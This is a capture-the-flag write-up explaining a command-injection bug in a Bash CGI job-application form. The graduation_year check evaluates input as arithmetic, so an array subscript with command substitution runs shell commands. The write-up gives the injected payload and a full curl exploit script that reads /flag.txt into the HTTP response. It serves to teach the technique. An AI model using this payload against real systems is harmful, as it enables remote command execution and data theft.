$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: an Apache CGI Bash application parses a form and checks graduation_year with [[ ... -lt 2026 ]], causing attacker input to be evaluated as arithmetic. Solution: inject an array subscript with command substitution, print /flag.txt through /proc/$PPID/fd/1, and leave the expression as 2026+a[0] so validation succeeds.
No official organizer description was included with the provided challenge files.
We are given an Apache CGI Bash application that accepts an application/x-www-form-urlencoded job application form. The goal is to turn the graduation_year validation into code execution and recover the real flag from /flag.txt.
The important part of application.sh is the form parsing and the graduation year check:
declare -A form_data while IFS='=' read -r -d '&' key value && [[ -n "$key" ]]; do form_data["$(urldecode "$key")"]="$(urldecode "$value")" done <<<"$request_body&" if [[ "${form_data[graduation_year]}" -lt 2026 ]]; then echo "Invalid graduation year" return fi
At first glance this looks like a simple numeric comparison, but in Bash the operands of [[ x -lt y ]] are evaluated as arithmetic expressions. That means attacker-controlled input is not treated as a plain string here.
So if we control graduation_year, we can supply an arithmetic expression instead of a normal year. Bash arithmetic also understands array syntax such as a[0], and array subscripts can contain command substitution. This gives a payload shape like:
2026+a[$(command)0]
If $(command) produces no captured stdout, the expression becomes:
2026+a[0]
In arithmetic context an unset array element evaluates to 0, so the whole expression becomes 2026, which is not less than 2026. The validation therefore passes.
/proc/$PPID/fd/1 worksThere is one catch: output written to normal stdout inside $(...) is consumed by the command substitution itself and inserted back into the arithmetic expression, which would corrupt it.
The fix is to write directly to the parent shell's file descriptor 1 instead:
/proc/$PPID/fd/1
Inside the injected sh -c, $PPID is the PID of the CGI Bash process running application.sh. Its file descriptor 1 is the CGI response stream, i.e. the HTTP body Apache sends back to us. Writing to /proc/$PPID/fd/1 therefore bypasses command substitution capture and prints data straight into the web response.
That is why this works cleanly:
cat /flag.txt >/proc/$PPID/fd/1 sends the flag into the HTTP response2026+a[0]The START and END markers make the flag easy to locate inside the surrounding HTML.
Use a valid POST request with all required fields present and inject the working payload into graduation_year:
graduation_year=2026+a[$(sh -c 'printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1')0]
When Bash evaluates the comparison, the command substitution executes, the flag is written directly into the parent CGI stdout, and the remaining arithmetic expression still passes the check.
#!/usr/bin/env bash URL='http://TARGET/cgi-bin/application.sh' curl -s "$URL" \ --data-urlencode 'first_name=A' \ --data-urlencode 'last_name=B' \ --data-urlencode '[email protected]' \ --data-urlencode 'phone=1234567890' \ --data-urlencode 'resume=hello' \ --data-urlencode 'school=test' \ --data-urlencode 'degree=test' \ --data-urlencode 'graduation_year=2026+a[$(sh -c '\''printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1'\'')0]' \ --data-urlencode 'q1=on' \ --data-urlencode 'q2=on' \ --data-urlencode 'q3=on' \ --data-urlencode 'q4=on' \ --data-urlencode 'q5=on'
The response contains the markers and the flag between them.
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar